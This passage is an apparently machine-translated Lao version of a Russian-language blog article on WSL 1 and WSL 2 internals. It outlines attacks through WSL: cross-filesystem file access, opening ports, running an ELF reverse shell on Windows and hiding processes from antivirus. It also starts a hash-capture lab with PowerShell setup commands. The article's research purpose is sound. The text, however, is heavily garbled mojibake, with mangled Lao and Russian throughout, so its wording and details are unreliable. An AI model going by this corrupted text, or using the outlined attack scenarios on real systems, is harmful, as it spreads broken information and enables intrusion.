เบชเบฐเบเบฒเบเบเบต, habr! OTUS เปเบเบตเบเบเบปเบงเบซเบผเบฑเบเบชเบนเบเปเปเปเปเบเปเบเบทเบญเบเบเบธเบฅเบฒ
เปเบเบเบต 2016, Microsoft เปเบเปเบเบณเบชเบฐเปเปเบตเปเบเบฑเบเปเบเปเบฅเบเบต WSL เปเปเปเปเบซเปเบเบฑเบเบเบธเบกเบเบปเบเปเบญเบเบต (Wเบเบฒเบเปเบ Subsystem เบชเปเบฒเบฅเบฑเบ Linux), เปเบเบดเปเบเปเบเบญเบฐเบเบฒเบเบปเบเปเบฎเบฑเบเปเบซเปเบกเบฑเบเบชเบฒเบกเบฒเบเบฅเบงเบกเปเบญเบปเบฒเบเบนเปเปเบเปเบเบเบตเปเบเปเปเบชเบฒเบกเบฒเบเปเบเปเปเบเปเบเปเปเบเปเบกเบทเปเบญเบเปเบญเบเบเบตเปเบเปเบฒเบฅเบฑเบเบเปเปเบชเบนเปเปเบเบทเปเบญเบเบงเบฒเบกเบเบดเบเบปเบกเบฅเบฐเบซเบงเปเบฒเบเบเบนเปเปเบเป OS เบเบปเปเบงเปเบเปเบฅเบฐเบเบฑเปเบเบชเบนเบ: Windows เปเบฅเบฐ Linux. เปเบเบเปเบเปเบฅเบเบตเบเบตเปเปเบฎเบฑเบเปเบซเปเบกเบฑเบเปเบเบฑเบเปเบเปเบเปเบเบตเปเบเบฐเปเบเปเปเบเบทเปเบญเบเบกเบท Linux OS เปเบเบชเบฐเบเบฒเบเปเบงเบเบฅเปเบญเบก Windows เปเบเบเบเปเปเบเปเบฒเปเบเบฑเบเบเปเบญเบเบเปเบฒเปเบเบตเบเบเบฒเบ Linux, เบเบปเบงเบขเปเบฒเบเปเบเบฑเปเบ, เบเบฒเบเบเปเบฒเปเบเป Multi-boot. เปเบ Habr เบเปเบฒเบเบชเบฒเบกเบฒเบเบเบญเบเบซเบฒเบเบปเบเบเบงเบฒเบกเบเปเบฒเบเบงเบเบซเบฅเบฒเบเบเบตเปเบญเบฐเบเบดเบเบฒเบเปเบเบดเบเบเบปเบเบเบฐเปเบซเบเบเบเบญเบเบเบฒเบเบเปเบฒเปเบเป WSL. เบขเปเบฒเบเปเบเบเปเบเบฒเบก, เปเบเปเบซเบเปเบฒเปเบชเบเบเบฒเบ, เปเบเปเบงเบฅเบฒเบเบญเบเบเบฒเบเบชเปเบฒเบเบเบปเบเบเบงเบฒเบกเบเบตเป, เบเปเปเบกเบตเบเบฒเบเบชเบถเบเบชเบฒเบเปเบฝเบงเบเบฑเบเบเบงเบฒเบกเบเบญเบเปเบเบเบญเบ symbiosis เบเบญเบเบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบเปเบเปเบเบปเบเปเบซเบฑเบเบขเบนเปเปเบเบเบฑเบเบเบฐเบเบฒเบเบญเบเบเบตเป. เปเบเบชเบเบตเปเบเบฐเปเบเบฑเบเบเบงเบฒเบกเบเบฐเบเบฒเบเบฒเบกเปเบเปเปเบเบญเบฑเบเบเบตเป. เบเบปเบเบเบงเบฒเบกเบเบฐเปเบงเบปเปเบฒเบเปเบฝเบงเบเบฑเบเบฅเบฑเบเบชเบฐเบเบฐเบเบญเบเบชเบฐเบเบฒเบเบฑเบเบเบฐเบเบฐเบเปเบฒ WSL 1 เปเบฅเบฐ 2 เปเบฅเบฐเบเบงเบเปเบเบดเปเบเบเบปเบงเบขเปเบฒเบเบเปเบฒเบเบงเบเบซเบเบถเปเบเบเบญเบเบเบฒเบเปเบเบกเบเบตเปเบเบฅเบฐเบเบปเบเปเบเบเปเบเปเปเบเบฑเบเปเบเปเบฅเบขเบตเปเบซเบผเบปเปเบฒเบเบตเป. เบเบปเบโเบเบงเบฒเบกโเปเบเปโเบเบทเบโเปเบเปเบโเบญเบญเบโเปเบเบฑเบ 2 เบเบฒเบโเบชเปเบงเบโ. เบเปเบฒเบญเบดเบเบเบฐเบชเบฐเบซเบเบญเบเบงเบดเบเบตเบเบฒเบเปเบเบกเบเบตเบเบฒเบเบเบดเบเบชเบฐเบเบตเบเบปเปเบเบเปเบเบฒเบ Linux เปเบฅเบฐ Windows. เบเบปเบโเบเบงเบฒเบกโเบเบตโเบชเบญเบโเบเบฐโเบเปเบฝเบงโเบเปเบญเบโเบเบฑเบโเบเบฒเบโเบชเปเบฒเบโเบเบฑเปเบโเบชเบฐโเบเบฒเบโเปเบงเบโเบฅเปเบญเบกโเบเบฒเบโเบเบปเบโเบชเบญเบโเปเบฅเบฐโเบเบฒเบโเบเบฐโเบฅเบดเบโเบเบฒเบโเปเบเบกโเบเบตโ.
WSL 1: เบฅเบฑเบเบชเบฐเบเบฐเบชเบฐเบเบฒเบเบฑเบเบเบฐเบเบฐเบเปเบฒ
เบชเปเบฒเบฅเบฑเบเบเบฒเบ dive เบเบตเปเบเบทเบเบเปเบญเบเบเบตเปเบชเบธเบเปเบเบเบฑเบเบซเบฒเบเบงเบฒเบกเบเบญเบเปเบ WSL, เบกเบฑเบเบเปเบฒเปเบเบฑเบเบเปเบญเบเปเบเปเบเปเบฒเบเบปเบ nuances เบเบปเปเบเบเปเบเบตเปเบเปเบฝเบงเบเปเบญเบเบเบฑเบเบเบฒเบเบเบฐเบเบดเบเบฑเบเบเบญเบเบฅเบฐเบเบปเบเบเปเบญเบ. เบซเบเบถเปเบเปเบเบซเบเปเบฒเบงเบฝเบเบเบปเปเบเบเปเบเบตเปเปเบเปเปเบเปเบเบ WSL เปเบกเปเบเบเบงเบฒเบกเบชเบฒเบกเบฒเบเปเบเบเบฒเบเปเบฎเบฑเบเบงเบฝเบเบเปเบฒเบ Linux terminal เปเบเปเบฎเบเบเบตเปเปเบเป Windows OS. เบเบญเบเบเบฒเบเบเบตเป, เบเบงเบฒเบกเปเบเบปเปเบฒเบเบฑเบเปเบเปเบเบตเปเบชเบฐเปเบซเบเบตเปเบกเปเบเบเบทเปเบเปเบกเบทเบญเบเบเบตเป Linux executables (ELFs) เบชเบฒเบกเบฒเบเบเปเบฒเปเบเบตเบเบเบฒเบเปเบเบเบเบปเบเปเบเบฅเบฐเบเบปเบ Windows. เปเบเบทเปเบญเบเบฑเบเบฅเบธเปเบเบปเปเบฒเบซเบกเบฒเบเปเบซเบผเบปเปเบฒเบเบตเป, เบฅเบฐเบเบปเบเบเปเบญเบเบเบดเปเบชเบเปเบเปเบเบทเบเบชเปเบฒเบเบเบทเปเบเปเบ Windows 10 เบเบตเปเบเปเบงเบเปเบซเปเบเปเบฒเบเบชเบฒเบกเบฒเบเปเบญเบตเปเบเปเบเป Linux เปเบเบเปเบเปเบเบธเบเบเบญเบเบเบฒเบเปเบเบฅเบฐเบเบปเบเบชเบฐเปเบเบฒเบฐ - เบเบฑเปเบเบเบฑเปเบ, เปเบเปเบกเบตเบเบฒเบเบเบฐเบเบฒเบเบฒเบกเบชเปเบฒเบเปเบเบเบเบตเปเบเบธเบเบเบญเบ Linux syscalls เปเบ Windows. เบเบตเปเปเบเปเบเบทเบเบเบฐเบเบดเบเบฑเบเบเบฒเบเบเปเบฒเบเบฎเปเบฒเบเบเบฒเบเปเบเบเบเบฒเบเปเบเบตเปเบกเปเบเปเบงเบตเปเบซเบกเปเปเบฅเบฐเบฎเบนเบเปเบเบเบเบฐเบเบงเบเบเบฒเบเปเบซเบกเป. เบชเบฐเบเบฒเบเบฑเบเบเบฐเบเบฐ เบเบณ เบเบฒเบกเบชเบฒเบเบเบฒเปเบเบดเปเบเบเบทเบเบฑเปเบเบเบตเป:
เปเบเบเบงเบฒเบกเปเบเบฑเบเบเบดเบ, เบเบฒเบเปเบเปเบเบญเบเบเบฑเบเบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบ Linux เปเบเปเบเบทเบเบเบฑเบเบเบฑเปเบเปเบเบเบเปเบฒเบเปเบกเบเบนเบ kernel เบซเบผเบฒเบเปเบฅเบฐเบเบฐเบเบงเบเบเบฒเบเบเบฐเปเบเบเบเบดเปเบชเบ - pico . เบเบฒเบเปเบเบเบงเบฒเบเบเปเบฒเบเปเบเบดเบ, เบเปเบฒเบเบชเบฒเบกเบฒเบเปเบซเบฑเบเปเบเปเบงเปเบฒเบเบฐเบเบงเบเบเบฒเบเบเบตเปเปเบฅเปเบเบขเบนเปเปเบ Linux instance เปเบเบดเบเปเบฎเบเบเบฐเบเปเบญเบเปเบเบฑเบ native เปเบฅเบฐเบเปเบญเบเปเบเปเบเบฑเบเบเบฐเบเบฒเบเบญเบเบเบฝเบงเบเบฑเบเบเบฑเบเบเปเบฒเบฎเปเบญเบเบชเบฐเบซเบกเบฑเบ Windows เบเบปเบเบเบฐเบเบด. เปเบเปเบงเบดเบเบตเบเบฒเบเบเบฑเบเบฅเบธเปเบเบปเปเบฒเบซเบกเบฒเบเบเบตเป? เปเบเปเบเบเบเบฒเบ
เปเบซเปเบชเบฑเบเปเบเบเบงเปเบฒเบชเบดเปเบเบเบตเปเบเปเปเบกเบตเบเบปเบงเบเบปเบเบเบตเปเบชเบฐเปเบซเบเบตเปเบฎเบฑเบเปเบซเปเบกเบฑเบเปเบเบฑเบเปเบเบเปเปเปเบเปเบเบตเปเบเบฐเบชเบธเบกเปเบชเปเบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบ (เปเบเบเบชเบฐเปเบเบฒเบฐ, Windows), เปเบเบเบฐเบเบงเบเบเบฒเบเบเบญเบ OS เบญเบทเปเบเบเบฒเบเบงเปเบฒเบเบฐเปเบเบตเบเบเบปเบง, เปเบฅเบฐเปเบเบฐเบเปเบฒเบงเบดเบเบตเบเบฒเบเบเบปเปเบงเปเบ.
เบเบฑเปเบเบเบฑเปเบ, เบเปเบฒเบฎเปเบญเบเบชเบฐเบซเบกเบฑเบเปเบเปเบเบฒเบเปเบเบเบฐเบเบงเบเบเบฒเบ pico เบชเบฒเบกเบฒเบเบเปเบฒเปเบเบตเบเบเบฒเบเปเบเปเปเบเบเบเปเปเบเปเบฒเบเบถเบเปเบเบดเบ Windows kernel:
- เบเบฑเบเบซเบฒเบเบงเบฒเบกเปเบเบปเปเบฒเบเบฑเบเปเบเปเปเบฅเบฐเบเบฒเบเปเบเบเบฒเบชเบฒเบเบญเบเบเบฒเบเปเบเบฅเบฐเบเบปเบเบเปเบญเบเปเบเปเบฎเบฑเบเบเบฒเบเปเบเปเปเบเปเบเบเบเบนเปเปเบซเปเบเปเบฅเบดเบเบฒเบเบเบดเปเบชเบ;
- เบเบฒเบเบเบงเบเบเบธเบกเบเบฒเบเปเบเบปเปเบฒเปเบเบดเบเบเปเบญเบเปเบฎเบฑเบเบเปเบฒเบเบเบปเบงเบเบดเบเบเบฒเบกเบเบงเบเบเบฒเบเบงเบฒเบกเบเบญเบเปเบ. เบเปเบเบฒเบเปเบกเปเบเบเบฑเปเบเบขเบนเปเปเบเปเบเปเบเปเบฅเบฐเบเบฑเปเบเบเบฑเปเบ Windows เบเปเบญเบเบเบฒเบเบเบฒเบเบเบปเบเบฅเบฐเบเบฑเบเปเบเบฎเบนเบเปเบเบเบเบญเบเปเบเปเบงเบตเปเบซเบกเปเบเบตเปเบชเบฒเบกเบฒเบเปเบฎเบฑเบเบซเบเปเบฒเบเบตเปเปเบเบฑเบเบเบนเปเปเบซเปเบเปเบฅเบดเบเบฒเบเบชเปเบฒเบฅเบฑเบเบเบฐเบเบงเบเบเบฒเบเบเบฑเปเบเบเปเบฒเบง. เบเบฐเบเบงเบเบเบฒเบ pico เบเบปเปเบเปเบเบเปเบกเปเบเปเบเปเบเบทเบเบเปเบฒเบชเบฐเปเบซเบเบตเปเบเบ schematically เบเปเบฒเบเบฅเบธเปเบกเบเบตเป:
เปเบเบทเปเบญเบเบเบฒเบเบฅเบฐเบเบปเบเปเบเบฅเป Linux เปเบเปเปเบเบฅเปเบเบตเปเบฅเบฐเบญเบฝเบเบญเปเบญเบเบเบปเบงเบเบดเบกเบเปเบญเบ เปเบฅเบฐเบเบทเปเปเบเปเบฅเบเบฐเบเปเบฅเบต, 2 เบเบฐเปเบเบเบเบญเบเบฅเบฐเบเบปเบเปเบเบฅเปเปเบเปเบเบทเบเปเบเบตเปเบกเปเบชเป Windows เปเบเบทเปเบญเปเบฎเบฑเบเบงเบฝเบเบเบฑเบ WSL - VolFS เปเบฅเบฐ DriveFS. VolFS เปเบกเปเบเบเบฒเบเบเบฐเบเบดเบเบฑเบเบฅเบฐเบเบปเบเปเบเบฅเป Linux, DriveFS เปเบเบฑเบเบฅเบฐเบเบปเบเปเบเบฅเปเบเบตเปเปเบฎเบฑเบเบงเบฝเบเบเบฒเบกเบเบปเบเบฅเบฐเบเบฝเบเบเบญเบ Windows, เปเบเปเบกเบตเบเบงเบฒเบกเบชเบฒเบกเบฒเบเบเบตเปเบเบฐเปเบฅเบทเบญเบเปเบญเบปเบฒเบเปเบฅเบฐเบเบตเบเบตเปเบฅเบฐเบญเบฝเบเบญเปเบญเบ.
WSL 2
WSL 1 เบกเบตเบเปเปเบเปเบฒเบเบฑเบเบเปเบฒเบเบงเบเบซเบเบถเปเบเบเบตเปเบเปเปเบญเบฐเบเบธเบเบฒเบเปเบซเปเปเบเปเปเบเบทเปเบญเปเบเปเปเบเบฅเบฐเบเบฑเบเบชเบนเบเบชเบธเบเบเบญเบเบซเบเปเบฒเบงเบฝเบ: เบเบปเบงเบขเปเบฒเบ, เบกเบฑเบเบเปเปเบกเบตเบเบงเบฒเบกเบชเบฒเบกเบฒเบเปเบเบเบฒเบเปเบฅเปเบเปเบญเบฑเบเบเบฅเบดเปเบเบเบฑเบ Linux 32-bit, เปเบฅเบฐเบกเบฑเบเปเบเบฑเบเปเบเบเปเปเปเบเปเบเบตเปเบเบฐเปเบเปเปเบเปเบงเบตเบญเบธเบเบฐเบเบญเบ. เบเบฑเปเบเบเบฑเปเบ, เปเบเบเบต 2020, WSL 2 เบเบทเบเบเปเบญเบเบญเบญเบเบกเบฒ, เปเบเบดเปเบเปเบเปเบเปเบฝเบเบงเบดเบเบตเบเบฒเบเบชเปเบฒเบเบฅเบฐเบเบปเบเบเปเบญเบ. WSL 2 เปเบเบฑเบเปเบเบทเปเบญเบ virtual เบเบตเปเบเบตเบเบตเปเบชเบธเบเบเบตเปเบเบปเบเบเบฑเบเบเบธเบเบฅเบฑเบเบชเบฐเบเบฐเบเบฒเบเบเปเบฅเบดเปเบเบเบเบฑเบเบเบฐเบเบฒเบเบญเบเบเบญเบ WSL 1. เปเบเบเบฑเบเบเบธเบเบฑเบ, เบญเบตเบเบเบฒเบกเบเบฑเบเบซเบฒเบเบตเปเปเบเปเปเบเปเบเบเบเบนเปเปเบเป Windows OS, เบเปเบฒเบเบชเบฒเบกเบฒเบเปเบฅเบทเบญเบเปเบงเบตเบเบฑเบเบเบตเปเบเปเบญเบเบเบฒเบเบเบญเบเบฅเบฐเบเบปเบเบเปเบญเบ Linux. เปเบเบทเปเบญเบซเบผเบธเบเบเปเบญเบเบเบงเบฒเบกเบญเปเบญเบเปเบญเบเบตเปเปเบเบฑเบเปเบเปเบเป, WSL 2 เปเบเปเบเบทเบเบเบฐเบเบดเบเบฑเบเปเบเบเบญเบตเบเปเบชเป Hyper-V เปเบ Windows 10. เปเบเบฎเบนเบเปเบเบเบเบตเป, Windows เบกเบตเบเบงเบฒเบกเบชเบฒเบกเบฒเบเบเบตเปเบเบฐเบเปเบฒเปเบเบตเบเบเบฒเบ kernel เบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบ Linux เปเบเบเบฒเบเปเบเบเบเปเบฝเบง. เบกเบฑเบเปเบเบฑเบเบกเบนเบเบเปเบฒเบเบตเปเบเบฐเบเบทเปเบเปเบฒเบงเปเบฒเบชเบฐเบเบฑเบ 1 เบเบญเบ WSL เปเบเปเบเบทเบเบเปเบฒเบชเบฐเปเบซเบเบตเปเบเบฑเบเบฅเบฑเบเบชเบฐเบเบฐเปเบเบเปเบฒเบเบตเปเบเบฒเบเบงเปเบฒเบเบฐเบชเบฐเปเบเบเปเบซเปเปเบซเบฑเบเบเบดเบเบเบฒเบเบเบญเบเบเบฒเบเบเบฑเบเบเบฐเบเบฒ Windows เปเบเบเบปเบเปเบเบเบเบตเป, เบเบฑเปเบเบเบฑเปเบเบเบฒเบเบซเบฑเบเบเปเบฝเบเปเบเบชเบนเป Hyper-V เปเบกเปเบเบซเบผเบตเบเบฅเปเบฝเบเบเปเปเปเบเป. เบชเบฐเบเบฒเบเบฑเบเบเบฐเบเบฐเบเปเบฒเบชเบธเบเบเปเบฒเบเปเบเบดเปเบเบเบทเบงเปเบฒ:
เปเบเบชเบฐเบเบฑเบเบเบตเป, เปเบเปเบ Windows เปเบฅเบฐ Linux เบกเบตเบเบฑเบเบเบฐเบเบฒเบเบญเบเบเบญเบเบเบปเบเปเบญเบเปเบฅเบฐเบเบธเบเบเบฑเบเบเบฑเบเบกเบตเบขเบนเปเปเบเบฅเบฐเบเบปเบเปเบเบฅเปเปเบเบปเปเบฒเบเบฑเปเบ, เปเบเปเบเบธเบเบเบฑเบเบเบฑเบเบเบตเปเบเปเปเบชเบปเบกเบเบนเบ. เบเบฐเบเบดเบชเปเบฒเบเบฑเบเบฅเบฐเบซเบงเปเบฒเบเบฅเบฐเบเบปเบเปเบเบฅเปเปเบกเปเบเบเปเบฒเปเบเบตเบเปเบเบเบเปเบฒเบเปเบเบทเปเบญเบเบซเบธเปเบกเบซเปเป client-server เบเบตเปเปเบฎเบฑเบเบงเบฝเบเปเบเบเปเบเปเปเบเปเบเบเบญเบ 9P.
เบกเบทเปเบเบตเป Microsoft เปเบซเปเบเบงเบฒเบกเบชเบฒเบกเบฒเบเปเบเบเบฒเบเบชเบฐเบซเบผเบฑเบเบฅเบฐเบซเบงเปเบฒเบ WSL 1 เปเบฅเบฐ WSL 2. เบเบฑเบเบชเบญเบเบฎเบธเปเบเปเบกเปเบเบกเบตเปเบซเปเบชเปเบฒเบฅเบฑเบเบเบฒเบเบเปเบฒเปเบเป.
เบเบงเบฒเบกเบเบญเบเปเบ WSL
เปเบเบเบฑเบเบเบธเบเบฑเบ, เบกเบตเบงเบฝเบเบเบฒเบเบเปเบฒเบเบงเบเบซเบเบถเปเบเบเบตเปเบญเบฐเบเบดเบเบฒเบเบงเบดเบเบตเบเบฒเบเบเปเบฒเปเบเปเปเบเบทเปเบญเบเบกเบทเบเบตเปเบเบทเบเบเปเบญเบเบเบฒเบกเบเบปเบเบซเบกเบฒเบเปเบเบทเปเบญเบเปเบฒเบฎเปเบฒเบเบเบฒเบเบชเบทเปเบชเบฒเบเบฅเบฐเบซเบงเปเบฒเบเบฅเบฐเบเบปเบเบเปเบญเบ. เบเบงเบเปเบฎเบปเบฒเบเบฐเปเบเปเบชเบฐเบเบดเบเบเบญเบเบเบงเบเปเบเบปเบฒเปเบเบทเปเบญเบเบงเบเปเบเบดเปเบเบเบงเบฒเบกเบเปเบฝเบงเบเปเบญเบเบเบญเบเบเบฒเบเปเบเบกเบเบตเปเบเปเบงเบฅเบฒเบเบฝเบ. เบเบฑเบเบเบตเบฅเบฒเบเบเบทเปเบเบปเปเบงเปเบเบเบญเบเบเบฒเบเปเบเบกเบเบต เปเบฅเบฐเบชเบฐเบเบฒเบเบฐเบเบฒเบ:
1. เบเบฒเบโเบเบฐโเบเบดโเบเบฑเบโเบฅเบฐโเบเบปเบโเปเบญโเบเบฐโเบชเบฒเบโ: เบชเบดเบโเปเบโเบเบฒเบโเปเบเบปเปเบฒโเปเบเบดเบโ, เบกเบตโเบเบฑเบโเบเบตโเบฅเบฒเบโเบเบฒเบโเบเบตเปโเปเบเปเบโเบเบฑเบ / เบเบปเบโเปเบโเบเบฒเบโเปเบฅเบโเบเปเบฝเบโเบเปเปโเบกเบนเบโ.
เบเบฒเบเบเบปเปเบเบเบงเปเบฒเปเบเปเบเปเบฒเปเบเบตเบเบเบฒเบเปเบเบทเปเบญเบเปเบฒเบเบปเบเบเบฒเบเบฅเบฐเปเบกเบตเบเบเบปเบเบฅเบฐเบเบฝเบเบเบฒเบเปเบเบปเปเบฒเปเบเบดเบเบเบฒเบ Linux FS->Windows FS, Windows FS->Linux FS. เบเบฒเบเบเบปเปเบเบเบงเปเบฒเปเบเปเบชเบฐเปเบเบเปเบซเปเปเบซเบฑเบเบเบงเบฒเบกเบชเบฒเบกเบฒเบเปเบเบเบฒเบเบเบฑเบเปเบเบเปเบเบฅเปเปเบเบซเบเบถเปเบเบเบฒเบเปเบ OS เปเบเบปเปเบฒเบซเบกเบฒเบ. เบเบงเบฒเบกเบเบฐเบเบฒเบเบฒเบกเบเปเปเปเบเปเบเบทเบเปเบฎเบฑเบเปเบเบทเปเบญเบเบปเบเปเบเบ, เบชเปเบฒเบเบเปเปเบฒเบเบฑเบเปเบฅเบฐเบฅเบถเบเบเบฒเบเบชเปเบงเบเบเบญเบเบฅเบฐเบเบปเบเปเบเบฅเป.
เบชเบฐเบเบฒเบเบฐเบเบฒเบ:
- A. เบเบฒเบเปเบเบกเบเบตเบเบฒเบเบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบ Windows - เบเบฒเบเปเบเปเปเบเปเบเบฅเปเบเบฒเบเบฅเบฐเบเบปเบ /etc เบเบญเบ Linux OS.
- B. เบเบฒเบเปเบเบกเบเบตเบเบฒเบเบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบ Linux - เบเบฒเบเปเบเปเปเบเปเบเบฅเปเปเบเปเบเปเบฅเบเบฐเบเปเบฅเบต:
C:Windows
,C:Program Files
,C:Users<User>
2. เบเบฒเบเบเบฐเบเบดเบเบฑเบเบเบญเบ stack เปเบเบทเบญเบเปเบฒเบ.
เบเบฒเบเบเบปเปเบเบเบงเปเบฒเปเบเปเบเบทเบเบเบฐเบเบดเบเบฑเบเปเบเบเปเบเปเบเบปเบงเบขเปเบฒเบเบเบญเบเบเบฒเบเปเบเบกเบเบตเบเบฒเบเบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบ Linux เปเบ Windows. เบเบธเบเบเบฐเบชเบปเบกเบเบฑเบเบเบญเบ stack เปเบเบทเบญเบเปเบฒเบเปเบเปเบเบทเบเบเปเบฒเปเบเป, เบเบท, เบเบปเบเปเบเบเบฒเบเบขเบฑเปเบเบขเบทเบเปเบเบเบฑเบเบเบฐเบเบฒเบเบญเบเบเปเบฒเบเป.
เบชเบฐเบเบฒเบเบฐเบเบฒเบ:
- เบเบฒเบเปเบเบตเบเบเบฒเบเปเบเบปเปเบฒเปเบเบดเบเบเบญเบเบเบตเปเบเบญเบเบเบญเบเบขเบนเปเปเบเบฅเบฐเบเบปเบ Windows
- เบเบฒเบเปเบเบตเบเบเปเบฒเปเบฎเบทเบญเปเบเบเบเปเปเบกเบตเบชเบดเบเบเบดเบเบตเปเปเบซเบกเบฒเบฐเบชเบปเบก
- เปเบฅเปเบ shell reverse เปเบเบเปเบเปเปเบเบฅเป elf เปเบเบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบ Windows.
3. เปเบเบทเปเบญเบเบเบฒเบเปเบเบตเบเบเบปเบงเบเบฐเบเบงเบเบเบฒเบเบเบญเบเปเบงเบเบตเปเปเบเบฑเบเบญเบฑเบเบเบฐเบฅเบฒเบเปเบเบเปเบเปเบฅเบฐเบเบปเบเบเปเบญเบ WSL.
เบเบฒเบเบเบปเปเบเบเบงเปเบฒเปเบกเปเบเบญเบตเบเปเบชเปเบเบงเบฒเบกเบเบดเบเบเบตเปเบเปเบฒเบเบเบฒเบ - เบฅเบฐเบเบปเบเบเปเบญเบเบเบงเบฒเบกเบเบญเบเปเบเบเปเปเบชเบฒเบกเบฒเบเบเบฑเบเบเบงเบฒเบเปเบซเบเบเบฒเบเปเบ kernel เบญเบทเปเบเบเบตเปเปเบฎเบฑเบเบงเบฝเบเปเบเบเปเบเปเบเบนเปเปเบซเปเบเปเบฅเบดเบเบฒเบเบเบตเปเบเบทเบเบเปเบญเบเบเบฒเบเบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบเปเบเบเปเบฅเบฐเบเบตเบเบญเบ WSL 1. เปเบเบเปเบฅเบฐเบเบตเบเบญเบ WSL 2, เบเปเปเบกเบตเบงเบดเบเบตเบเบตเปเบเบฐเปเบเบดเปเบเปเบซเบเบเบฒเบเบเบตเปเปเบเบตเบเบเบถเปเบ. เปเบ kernel เปเบเบเบเปเบฒเบเบซเบฒเบเบเบฒเบเปเบเปเบเบทเปเบญเบ virtual เบเปเปเบฒเบซเบเบฑเบเปเบเบปเบฒ.
เบชเบฐเบเบฒเบเบฐเบเบฒเบ:
1) เปเบเบตเบเปเบเปเปเบญเบฑเบเบเบฅเบดเปเบเบเบฑเบเบชเปเบฒเบฅเบฑเบเบเบฒเบเปเบเบปเปเบฒเปเบเบดเบเบฅเบฐเบเบปเบเบซเปเบฒเบเปเบเบชเบญเบเบซเบผเบตเบ เปเบฅเบฐเปเบเบดเปเบเปเบซเบเบเบฒเบเบเบตเปเบเบฑเบเบเบถเบเปเบงเป.
เบเบฒเบเบเบปเบเบฅเบญเบ WSL 1: เบเบฒเบเบชเบฐเบเบฑเบเปเบญเบปเบฒ hash (Windows)
เปเบเบเบตเปเบชเบธเบเบเบงเบเปเบฎเบปเบฒเปเบเปเปเบเบดเบเบเบฒเบเบเบฐเบเบดเบเบฑเบ. เบเปเบฒเบญเบดเบ, เบเปเบฒเบเบเปเบฒเปเบเบฑเบเบเปเบญเบเปเบเปเบเบฑเปเบเบเปเบฒเบชเบฐเบเบฒเบเปเบงเบเบฅเปเบญเบกเบเบฒเบเบเบปเบเบชเบญเบ. เบเบฒเบเบเบปเบเบฅเบญเบเบเบฑเบเบซเบกเบปเบเบเบฐเบเบทเบเบเบฐเบเบดเบเบฑเบเบขเบนเปเปเบ bench เบเบตเปเบกเบตเบเบฒเบเบเบดเบเบเบฑเปเบ Windows 10 2004. เบฎเบนเบเบเบฒเบ Ubuntu 18.04 เบเบทเบเปเบฅเบทเบญเบเปเบเบฑเบเบฎเบนเบเบเบฒเบเบเบญเบเบฅเบฐเบเบปเบเบเบฐเบเบดเบเบฑเบเบเบฒเบเบชเปเบฒเบฅเบฑเบ WSL. เบฎเบนเบโเบเบฒเบโเปเบเปโเบเบทเบโเบเบฑเบโเปเบฅเบทเบญเบโเปเบโเบเบฒเบโเบชเบธเปเบกโ, เปเบฅเบฐโเบญเบทเปเบเปโเบเบฐโเปเบฎเบฑเบโเบงเบฝเบโเบเบทโเบเบฑเบโ. เบเปเบฒเบชเบฑเปเบเบชเปเบฒเบฅเบฑเบเบเบฒเบเบเบฑเปเบ stand:
เบเปเบญเบเบญเบทเปเบ เปเบปเบ เบเปเบฒเบเบเปเบญเบเปเบเบตเบเบเบปเบง powershell.exe
เปเบเบฑเบเบเบนเปเบเปเบฅเบดเบซเบฒเบ.
เบชเปเบฒเบฅเบฑเบ WSL 1 เบเปเบฒเบเบเปเบฒเปเบเบฑเบเบเปเบญเบเบเปเบฒเปเบเบตเบเบเบฒเบเบเปเบฒเบชเบฑเปเบ:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ะะบะปััะธัั ััะฝะบัะธั WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ะะฐะณััะทะธัั ะพะฑัะฐะท Linux ะธะท ะผะฐะณะฐะทะธะฝะฐ Microsoft
Ubuntu.appx install โroot #ะฃััะฐะฝะพะฒะธะผ ะพะฑัะฐะท
ะะพะทะผะพะถะฝะพ, ะฟัะธะดะตััั ะฟัะพะบะปะธะบะฐัั ะฟัะพัะตัั ะฝะฐัััะพะนะบะธ ะธ ัะพะทะดะฐัั ะฝะพะฒะพะณะพ ะฟะพะปัะทะพะฒะฐัะตะปั, ะบะพัะพััะน ะฑัะดะตั ะธะผะตัั ะผะตะฝััะต ะฟัะฐะฒ, ัะตะผ root. ะะปั ะฝะฐัะธั
ัะตััะพะฒ ััะพ ะฑัะดะตั ะพะฑััะฝัะน ะฟะพะปัะทะพะฒะฐัะตะปั sam.
Restart-Computer #ะะตัะตะทะฐะณััะทะธะผ
เบซเบผเบฑเบเบเบฒเบ rebooting stand, เบเปเบฒเบเบชเบฒเบกเบฒเบเปเบเบซเบฒเบเปเบฒเบชเบฑเปเบ bash. เบเปเบฒเบเบธเบเบชเบดเปเบเบเบธเบเบขเปเบฒเบเปเบฎเบฑเบเบงเบฝเบเบขเปเบฒเบเบเบทเบเบเปเบญเบ, เบเปเบฒเบเบเบฐเปเบซเบฑเบเบเบปเบเบเบฐเบฅเบดเบเบเบตเปเบเปเบฒเบเบเบทเบเบฑเบเปเบ Windows console:
เบเบงเบเปเบฎเบปเบฒเบเบฐเปเบเปเบเบฒเบเปเบเบเบขเบฒเบ Kali Linux เปเบเบฑเบเปเบเบทเปเบญเบเบเบญเบเบเบนเปเปเบเบกเบเบต; เปเบเบทเปเบญเบเบเบฑเบเบเบฑเบเปเบปเบเบเบฐเบเปเบญเบเบขเบนเปเปเบเปเบเบทเบญเบเปเบฒเบเบเปเบญเบเบเบดเปเบเบเบฝเบงเบเบฑเบ.
